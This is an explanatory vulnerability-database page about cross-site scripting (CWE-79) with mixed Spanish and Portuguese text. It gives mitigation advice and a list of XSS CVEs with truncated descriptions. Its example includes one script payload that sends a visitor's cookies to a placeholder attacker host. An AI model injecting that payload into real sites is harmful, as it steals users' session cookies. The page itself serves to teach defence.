Fallos del tipo CWE-79

30.666 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-25292CRITICALCross-site scripting (XSS) vulnerability in RenderTune v1.1.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payloaEPSS 1.5%CVE-2021-33702HIGHUnder certain conditions, NetWeaver Enterprise Portal, versions - 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, does not sufficiently encode repEPSS 1.5%CVE-2021-33703HIGHUnder certain conditions, NetWeaver Enterprise Portal, versions - 7.30, 7.31, 7.40, 7.50, does not sufficiently encode URL parameters. An atEPSS 1.5%CVE-2023-49086MEDIUMCacti is vulnerable to cross-Site scripting (XSS) DOMEPSS 1.5%CVE-2022-1904—Easy Pricing Tables < 3.2.1 - Reflected Cross-Site-ScriptingEPSS 1.5%CVE-2021-24956—Blog2Social < 6.8.7 - Reflected Cross-Site ScriptingEPSS 1.5%CVE-2022-42466MEDIUMXSS vulnerability, eg for String properties.EPSS 1.5%CVE-2022-46769MEDIUMApache Sling App CMS: XSS in CMS Site Group DetailEPSS 1.5%CVE-2023-2949HIGHCross-site Scripting (XSS) - Reflected in openemr/openemrEPSS 1.5%CVE-2024-10793HIGHWP Activity Log <= 5.2.1 - Unauthenticated Stored Cross-Site Scripting via User_id ParameterEPSS 1.5%CVE-2025-27208MEDIUMA reflected Cross-Site Scripting (XSS) vulnerability has been identified in Revive Adserver version 5.5.2. An attacker could trick a user wiEPSS 1.5%CVE-2018-3740—A specially crafted HTML fragment can cause Sanitize gem for Ruby to allow non-whitelisted attributes to be used on a whitelisted HTML elemeEPSS 1.5%CVE-2011-2927MEDIUMSpacewalk: spacewalk and red hat network satellite: cross-site scripting vulnerability via search formsEPSS 1.5%CVE-2017-2285MEDIUMCross-site scripting vulnerability in Simple Custom CSS and JS prior to version 3.4 allows remote attackers to inject arbitrary web script oEPSS 1.5%CVE-2020-26287HIGHStored XSS in mermaid diagramsEPSS 1.5%CVE-2023-7173MEDIUMPHPGurukul Hospital Management System registration.php cross site scriptingEPSS 1.5%CVE-2023-1717CRITICALBitrix24 Cross-Site Scripting (XSS) via Client-side Prototype PollutionEPSS 1.5%CVE-2022-0285MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 1.5%CVE-2021-44178MEDIUMAdobe Experience Manager Reflected XSS in /bin/wcm/contentfinder/page/view.htmlEPSS 1.5%CVE-2025-61224MEDIUMCross Site Scripting vulnerability in DokuWiki 2025-05-14a 'Librarian'[56.1] allows a remote attacker to execute arbitrary code via the q paEPSS 1.5%